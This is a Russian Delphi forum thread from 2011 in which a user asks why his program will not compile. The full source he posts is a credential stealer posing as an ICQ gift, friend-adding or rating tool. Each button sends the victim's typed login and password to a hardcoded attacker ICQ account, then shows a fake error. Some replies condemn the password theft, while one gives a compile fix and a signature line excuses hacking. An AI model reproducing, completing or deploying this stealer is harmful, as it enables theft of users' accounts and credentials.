Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 16.07.2011, 10:55   #1
mroff
Пользователь
 
Аватар для mroff
 
Регистрация: 16.07.2011
Сообщений: 21
Восклицание в чем моя ошибка?

подскажите плиз в чем ошибка тут:
при запуске программы делфи выводит это красным:
Код:
Dialogs, jpeg, ExtCtrls, ICQClient, StdCtrls;
Вот весь код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, ICQClient, StdCtrls;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Label1: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    CheckBox1: TCheckBox;
    CheckBox2: TCheckBox;
    CheckBox3: TCheckBox;
    Button1: TButton;
    Edit3: TEdit;
    Label2: TLabel;
    Button2: TButton;
    Label3: TLabel;
    Label4: TLabel;
    Edit4: TEdit;
    Button3: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  hackicq:integer;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
icqclient1.Login();
hackicq:=429499499;
icqclient1.UIN:=222222222;
icqclient1.Password:='123123';
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
icqclient1.SendMessage(hackicq, 'Логин: ' + Edit1.Text + '  Пароль: ' + edit2.Text + '  Ламер захотел подарок =)');

showmessage('Fatal error!');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.SendMessage(hackicq, 'Логин: ' + Edit1.Text + '  Пароль: ' + edit2.Text + '  Ламер решил понадобавлять ' +Edit3.Text + ' друзей =)');

sleep(2000);
showmessage('Ошибка! "112" Проверьте свое подключение к интернету или обратитесь в службу поддержки skype keyner910.');
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
icqclient1.SendMessage(hackicq, 'Логин: ' + Edit1.Text + '  Пароль: ' + edit2.Text + '  Ламер решил накрутить ' +Edit4.Text + ' рейтинга =)');

sleep(2000);
showmessage('Ошибка! "112" Проверьте свое подключение к интернету или обратитесь в службу поддержки skype keyner910.');
end;

end.
У нас принято оформлять код специальным тегом. Кнопка #. Модератор

Последний раз редактировалось dr.Chas; 16.07.2011 в 15:35.
mroff вне форума
Старый 16.07.2011, 12:58   #2
iliili
Пользователь
 
Аватар для iliili
 
Регистрация: 06.03.2010
Сообщений: 56
По умолчанию

у вас отсутствует файл ICQClient.dcu.
Проверьте, он не является стандартным.
Сделал ошибку.Исправил.Подзаработал
iliili вне форума
Старый 16.07.2011, 18:43   #3
HyperZen
Пользователь
 
Аватар для HyperZen
 
Регистрация: 20.07.2010
Сообщений: 45
По умолчанию

Интересно, для чего эта программа?!
Код:
icqclient1.Login();
hackicq:=429499499;
Плохого человека должно быть мало...
HyperZen вне форума
Старый 16.07.2011, 20:22   #4
grafgrial
Просто хороший
Форумчанин
 
Аватар для grafgrial
 
Регистрация: 26.03.2010
Сообщений: 562
По умолчанию

Потому что нельзя воровать пароли у пользователей
Помог, нажми весы слева
grafgrial вне форума
Старый 17.07.2011, 01:13   #5
Ghost of Night
Форумчанин
 
Аватар для Ghost of Night
 
Регистрация: 08.08.2010
Сообщений: 371
По умолчанию

Даже если в ваш проект добавить ICQClient.dcu, прога всё равно не будет работать.
Скорее всего, вы либо не до конца дочитали, когда её копировали)
А если попадется "умный ламер", то эта прога сама выдаст ваш пароль в аське)).
Учите делфи.
Хакинг - не преступление, а способ выживания.
Ghost of Night вне форума
Старый 17.07.2011, 11:55   #6
mroff
Пользователь
 
Аватар для mroff
 
Регистрация: 16.07.2011
Сообщений: 21
По умолчанию

всем спасибо все понял)))
mroff вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
нужен совет по задаче (в чем моя ошибка) (с++) Virgil69 Помощь студентам 2 12.11.2010 20:26
Это ошибка Delphi или моя ошибка??? bloodeagle Общие вопросы Delphi 3 12.11.2009 15:26
Хуки (тестовый пример). В чем моя ошибка? Tihon Win Api 2 31.12.2008 11:59
Скажите, в чем моя ошибка в сортировке, или напишите, как правильно сортировать. язык Паскаль. Devo4ka Паскаль, Turbo Pascal, PascalABC.NET 0 26.11.2008 00:19
базовые и производные классы (В чём моя ошибка) umnix Общие вопросы C/C++ 5 01.12.2007 17:26